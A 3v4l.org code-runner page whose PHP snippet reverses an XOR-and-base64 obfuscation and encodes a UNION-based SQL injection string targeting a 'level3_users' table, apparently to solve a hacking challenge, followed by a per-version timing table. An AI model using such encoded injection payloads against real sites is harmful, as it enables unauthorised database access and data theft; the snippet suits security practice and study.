3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,version(),5,6,7 FROM level3_users WHERE username='Admin'#"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00617.00
8.3.50.0110.00522.11
8.3.40.0120.00319.27
8.3.30.0110.00419.01
8.3.20.0040.00420.33
8.3.10.0000.00823.65
8.3.00.0060.00319.69
8.2.180.0110.00416.63
8.2.170.0060.01222.96
8.2.160.0110.00720.38
8.2.150.0080.00024.18
8.2.140.0000.00724.66
8.2.130.0040.00426.16
8.2.120.0030.00619.48
8.2.110.0060.00322.26
8.2.100.0090.00319.41
8.2.90.0060.00319.17
8.2.80.0050.00317.97
8.2.70.0030.00717.75
8.2.60.0060.00318.05
8.2.50.0040.00418.07
8.2.40.0050.00318.22
8.2.30.0000.00818.39
8.2.20.0050.00217.99
8.2.10.0030.00618.25
8.2.00.0000.00819.55
8.1.280.0160.00025.92
8.1.270.0090.00023.71
8.1.260.0030.00526.35
8.1.250.0000.00828.09
8.1.240.0070.00323.94
8.1.230.0110.00019.27
8.1.220.0040.00417.89
8.1.210.0050.00318.77
8.1.200.0060.00317.50
8.1.190.0080.00017.48
8.1.180.0040.00418.10
8.1.170.0040.00418.91
8.1.160.0090.00021.98
8.1.150.0000.00718.73
8.1.140.0000.00917.60
8.1.130.0000.00717.89
8.1.120.0040.00417.65
8.1.110.0060.00317.64
8.1.100.0040.00417.61
8.1.90.0040.00417.53
8.1.80.0030.00617.55
8.1.70.0030.00317.57
8.1.60.0070.00317.70
8.1.50.0000.00917.79
8.1.40.0000.00717.68
8.1.30.0030.00617.73
8.1.20.0030.00617.76
8.1.10.0070.00017.79
8.1.00.0000.00817.73
8.0.300.0000.00818.77
8.0.290.0030.00616.88
8.0.280.0000.00718.59
8.0.270.0040.00417.23
8.0.260.0030.00317.40
8.0.250.0000.00717.11
8.0.240.0030.00317.13
8.0.230.0070.00017.14
8.0.220.0000.00717.11
8.0.210.0000.00717.15
8.0.200.0000.00617.13
8.0.190.0040.00417.03
8.0.180.0080.00317.14
8.0.170.0030.00517.13
8.0.160.0040.00417.02
8.0.150.0040.00416.98
8.0.140.0030.00317.02
8.0.130.0080.00013.60
8.0.120.0030.00517.10
8.0.110.0040.00417.13
8.0.100.0050.00217.20
8.0.90.0000.00717.10
8.0.80.0090.00617.07
8.0.70.0040.00417.07
8.0.60.0070.00017.07
8.0.50.0000.00816.90
8.0.30.0110.00917.07
8.0.20.0110.00917.44
8.0.10.0040.00417.22
8.0.00.0080.01016.91
7.4.330.0000.00615.16
7.4.320.0030.00316.75
7.4.300.0040.00416.84
7.4.290.0030.00516.78
7.4.280.0040.00416.69
7.4.270.0030.00316.80
7.4.260.0030.00416.67
7.4.250.0000.00816.70
7.4.240.0020.00516.80
7.4.230.0030.00316.89
7.4.220.0140.01116.72
7.4.210.0110.00916.85
7.4.200.0060.00316.85
7.4.160.0090.01216.73
7.4.150.0140.00617.40
7.4.140.0090.01117.86
7.4.130.0090.00716.89
7.4.120.0110.00616.64
7.4.110.0100.00616.75
7.4.100.0030.01416.86
7.4.90.0080.00817.01
7.4.80.0100.01019.39
7.4.70.0070.01616.88
7.4.60.0100.00616.75
7.4.50.0000.00816.52
7.4.40.0080.00816.83
7.4.30.0000.01616.61
7.4.00.0040.01215.10
7.3.330.0000.00613.41
7.3.320.0030.00213.49
7.3.310.0000.00716.59
7.3.300.0070.00016.47
7.3.290.0060.00916.57
7.3.280.0110.01016.57
7.3.270.0080.00817.40
7.3.260.0070.01116.91
7.3.250.0090.01116.51
7.3.240.0070.01116.64
7.3.230.0070.01016.81
7.3.210.0110.00616.59
7.3.200.0100.00719.39
7.3.190.0060.01216.85
7.3.180.0070.00716.52
7.3.170.0090.00916.60
7.3.160.0100.01016.52
7.3.120.0090.00715.17
7.3.110.0120.00515.04
7.3.100.0070.01015.02
7.3.90.0070.00815.05
7.3.80.0050.00815.27
7.3.70.0060.00615.18
7.3.60.0100.00314.92
7.3.50.0100.00314.97
7.3.40.0080.00814.98
7.3.30.0070.00514.93
7.3.20.0020.01016.59
7.3.10.0050.00916.81
7.3.00.0080.00516.89
7.2.330.0120.01217.02
7.2.320.0030.01616.79
7.2.310.0120.00616.88
7.2.300.0060.01216.88
7.2.290.0100.00616.85
7.2.250.0090.00915.22
7.2.240.0100.00515.38
7.2.230.0050.01115.14
7.2.220.0100.00515.23
7.2.210.0030.01015.29
7.2.200.0070.00715.23
7.2.190.0070.00815.26
7.2.180.0030.01415.13
7.2.170.0060.01115.40
7.2.160.0060.00915.26
7.2.150.0070.00716.79
7.2.140.0060.00317.13
7.2.130.0030.00716.89
7.2.120.0040.00717.16
7.2.110.0040.00716.91
7.2.100.0000.01416.91
7.2.90.0120.00017.27
7.2.80.0090.00316.94
7.2.70.0040.01217.16
7.2.60.0060.01017.02
7.2.50.0000.01216.95
7.2.40.0150.00417.09
7.2.30.0130.00316.95
7.2.20.0030.01416.82
7.2.10.0070.01017.18
7.2.00.0090.00718.37
7.1.330.0040.00916.00
7.1.320.0060.00715.96
7.1.310.0060.00416.13
7.1.300.0020.01216.13
7.1.290.0050.00915.98
7.1.280.0010.01116.07
7.1.270.0030.00916.03
7.1.260.0030.01116.06
7.1.250.0030.01216.01
7.1.100.0070.00718.30
7.1.70.0120.00317.39
7.1.60.0150.00919.70
7.1.50.0090.01617.15
7.1.00.0030.07722.42
7.0.200.0030.01016.91
7.0.140.0000.07721.97
7.0.70.0030.08021.73
7.0.60.0030.05021.77
7.0.50.0070.07022.03
7.0.40.0030.08320.01
7.0.30.0070.07719.94
7.0.20.0030.05720.11
7.0.10.0070.08020.16
7.0.00.0100.07720.08
5.6.280.0070.07021.00
5.6.220.0130.07320.66
5.6.210.0030.05020.67
5.6.200.0030.07321.02
5.6.190.0000.08720.95
5.6.180.0070.08021.03
5.6.170.0070.08021.02
5.6.160.0000.07721.13
5.6.150.0100.08020.98
5.6.140.0070.07720.99
5.6.130.0130.07020.95
5.6.120.0030.07020.93
5.6.110.0100.07321.02
5.6.100.0030.07721.01
5.6.90.0030.08321.04
5.6.80.0000.06020.49
5.6.70.0030.08020.33
5.6.60.0030.08020.29
5.6.50.0130.05720.40
5.6.40.0100.07720.52
5.6.30.0000.08020.39
5.6.20.0100.07320.37
5.6.10.0070.07320.43
5.6.00.0000.07720.32
5.5.360.0030.08020.35
5.5.350.0030.08020.47
5.5.340.0030.08720.77
5.5.330.0030.08320.86
5.5.320.0070.06020.87
5.5.310.0030.07720.82
5.5.300.0070.08020.88
5.5.290.0100.05720.75
5.5.280.0070.08020.84
5.5.270.0100.06320.80
5.5.260.0070.07720.87
5.5.250.0030.07720.56
5.5.240.0030.06720.26
5.5.230.0070.07720.30
5.5.220.0100.07020.10
5.5.210.0170.07020.26
5.5.200.0100.07320.19
5.5.190.0070.08020.23
5.5.180.0030.08020.14
5.5.160.0100.05320.12
5.5.150.0030.06720.18
5.5.140.0100.07320.18
5.5.130.0030.08020.24
5.5.120.0000.07020.15
5.5.110.0030.07320.25
5.5.100.0070.08020.13
5.5.90.0100.07020.14
5.5.80.0030.05720.09
5.5.70.0030.05720.13
5.5.60.0030.03720.05
5.5.50.0030.03720.05
5.5.40.0030.03720.15
5.5.30.0000.04020.09
5.5.20.0030.04020.09
5.5.10.0000.04019.96
5.5.00.0000.04020.11
5.4.450.0030.06019.41
5.4.440.0070.06719.41
5.4.430.0030.05319.18
5.4.420.0100.06019.57
5.4.410.0070.05019.23
5.4.400.0070.06719.21
5.4.390.0070.07318.86
5.4.380.0100.06318.86
5.4.370.0000.07318.84
5.4.360.0000.06718.83
5.4.350.0000.05319.21
5.4.340.0000.08319.11
5.4.320.0030.07719.04
5.4.310.0000.07719.02
5.4.300.0000.07719.11
5.4.290.0000.07718.89
5.4.280.0000.08718.93
5.4.270.0000.07719.20
5.4.260.0070.07319.08
5.4.250.0000.08019.20
5.4.240.0030.04019.11
5.4.230.0000.04019.20
5.4.220.0030.03719.03
5.4.210.0030.03719.00
5.4.200.0030.03718.88
5.4.190.0030.03719.02
5.4.180.0030.03718.88
5.4.170.0000.03719.00
5.4.160.0000.03019.01
5.4.150.0030.03019.01
5.4.140.0000.03716.51
5.4.130.0030.03316.45
5.4.120.0000.03316.29
5.4.110.0000.04016.41
5.4.100.0030.03316.36
5.4.90.0030.02716.51
5.4.80.0030.03316.34
5.4.70.0070.03016.50
5.4.60.0000.03316.47
5.4.50.0000.03716.30
5.4.40.0000.03016.51
5.4.30.0030.02716.29
5.4.20.0000.03016.43
5.4.10.0030.03716.30
5.4.00.0000.03315.86
5.3.290.0030.08014.61
5.3.280.0000.03714.74
5.3.270.0000.03714.54
5.3.260.0030.02714.70
5.3.250.0070.02314.68
5.3.240.0000.03014.62
5.3.230.0030.03014.64
5.3.220.0000.03014.59
5.3.210.0030.03714.64
5.3.200.0000.03314.57
5.3.190.0000.03314.50
5.3.180.0100.02314.55
5.3.170.0030.02714.51
5.3.160.0000.03314.56
5.3.150.0000.03014.64
5.3.140.0030.03014.62
5.3.130.0000.03014.56
5.3.120.0100.02314.68
5.3.110.0000.03014.49
5.3.100.0000.03014.16
5.3.90.0000.03014.16
5.3.80.0000.03714.09
5.3.70.0000.03714.07
5.3.60.0030.02714.15
5.3.50.0000.03013.93
5.3.40.0000.03014.02
5.3.30.0000.03013.92
5.3.20.0000.03013.79
5.3.10.0000.02713.69
5.3.00.0000.04713.71
5.2.170.0000.02311.20
5.2.160.0000.02311.20
5.2.150.0000.02311.20
5.2.140.0030.02311.20
5.2.130.0000.02711.20
5.2.120.0070.02011.20
5.2.110.0030.02311.20
5.2.100.0030.02011.22
5.2.90.0030.02011.20
5.2.80.0000.02311.22
5.2.70.0030.02011.24
5.2.60.0000.02311.20
5.2.50.0030.02011.20
5.2.40.0000.02311.20
5.2.30.0000.02311.20
5.2.20.0030.02011.20
5.2.10.0000.02711.20
5.2.00.0000.03011.20
5.1.60.0000.02011.20
5.1.50.0000.02711.20
5.1.40.0030.03311.20
5.1.30.0000.04711.20
5.1.20.0030.05311.20
5.1.10.0030.05311.20
5.1.00.0000.06011.20
5.0.50.0000.03711.20
5.0.40.0000.03711.20
5.0.30.0000.06011.20
5.0.20.0000.02711.20
5.0.10.0030.04011.20
5.0.00.0000.05011.20
4.4.90.0030.01011.20
4.4.80.0000.01311.20
4.4.70.0000.01311.20
4.4.60.0000.01311.20
4.4.50.0000.01711.20
4.4.40.0030.02011.20
4.4.30.0000.02711.20
4.4.20.0030.03311.20
4.4.10.0030.02311.20
4.4.00.0000.05711.20
4.3.110.0030.03311.20
4.3.100.0000.02711.20
4.3.90.0000.02711.20
4.3.80.0070.03311.20
4.3.70.0000.02711.20
4.3.60.0030.03011.20
4.3.50.0000.03711.20
4.3.40.0000.04011.20
4.3.30.0000.03011.20
4.3.20.0000.03711.20
4.3.10.0000.03011.20
4.3.00.0000.04011.20

preferences:
44.68 ms | 401 KiB | 5 Q